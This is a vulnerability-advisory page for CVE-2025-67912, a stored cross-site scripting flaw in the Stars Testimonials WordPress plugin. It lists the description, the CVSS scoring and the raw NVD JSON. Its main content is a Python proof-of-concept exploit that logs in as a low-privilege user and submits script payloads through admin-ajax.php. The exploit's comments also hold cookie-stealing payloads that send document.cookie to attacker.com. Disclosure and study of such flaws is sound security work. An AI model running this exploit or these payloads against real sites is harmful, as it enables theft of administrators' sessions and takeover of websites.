Security Vulnerability Report
中文
CVE-2025-67912 CVSS 6.5 MEDIUM

CVE-2025-67912

Published: 2025-12-16 09:15:59
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Premio Stars Testimonials stars-testimonials-with-slider-and-masonry-grid allows Stored XSS.This issue affects Stars Testimonials: from n/a through <= 3.3.4.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Stars Testimonials with Slider and Masonry Grid <= 3.3.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from bs4 import BeautifulSoup # CVE-2025-67912 PoC - Stored XSS in WordPress Stars Testimonials Plugin # Target: WordPress site with Stars Testimonials plugin <= 3.3.4 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "user_password" def get_nonce(login_page_content): """Extract WordPress nonce from login page""" soup = BeautifulSoup(login_page_content, 'html.parser') nonce_input = soup.find('input', {'id': '_wpnonce'}) if nonce_input: return nonce_input.get('value') return None def exploit_stored_xss(): """Exploit the stored XSS vulnerability""" session = requests.Session() # Step 1: Login to WordPress login_url = f"{TARGET_URL}/wp-login.php" login_page = session.get(login_url) nonce = get_nonce(login_page.text) login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', '_wpnonce': nonce, 'redirect_to': f"{TARGET_URL}/wp-admin/" } login_response = session.post(login_url, data=login_data) if 'dashboard' not in login_response.url.lower() and 'wp-admin' not in login_response.url.lower(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Submit testimonial with XSS payload # XSS payload: <script>alert(document.cookie)</script> # or more sophisticated: <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> testimonial_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" xss_payload = "<script>alert('XSS CVE-2025-67912')</script>" # Alternative payload for cookie stealing: # xss_payload = "<img src=x onerror=\"fetch('https://attacker.com/steal?c='+btoa(document.cookie))\" />" testimonial_data = { 'action': 'stars_testimonial_save', 'testimonial_author': f"Test User {xss_payload}", 'testimonial_content': f"Great product! {xss_payload}", 'testimonial_rating': '5', 'testimonial_company': f"Company Name {xss_payload}" } response = session.post(testimonial_url, data=testimonial_data) if response.status_code == 200: print("[+] Malicious testimonial submitted successfully!") print(f"[+] XSS payload will execute when admin views testimonials") return True else: print(f"[-] Failed to submit testimonial. Status: {response.status_code}") return False if __name__ == "__main__": print("CVE-2025-67912 PoC - WordPress Stars Testimonials Stored XSS") print("=" * 60) exploit_stored_xss()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67912", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:15:59.180", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Premio Stars Testimonials stars-testimonials-with-slider-and-masonry-grid allows Stored XSS.This issue affects Stars Testimonials: from n/a through <= 3.3.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/stars-testimonials-with-slider-and-masonry-grid/vulnerability/wordpress-stars-testimonials-plugin-3-3-4-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}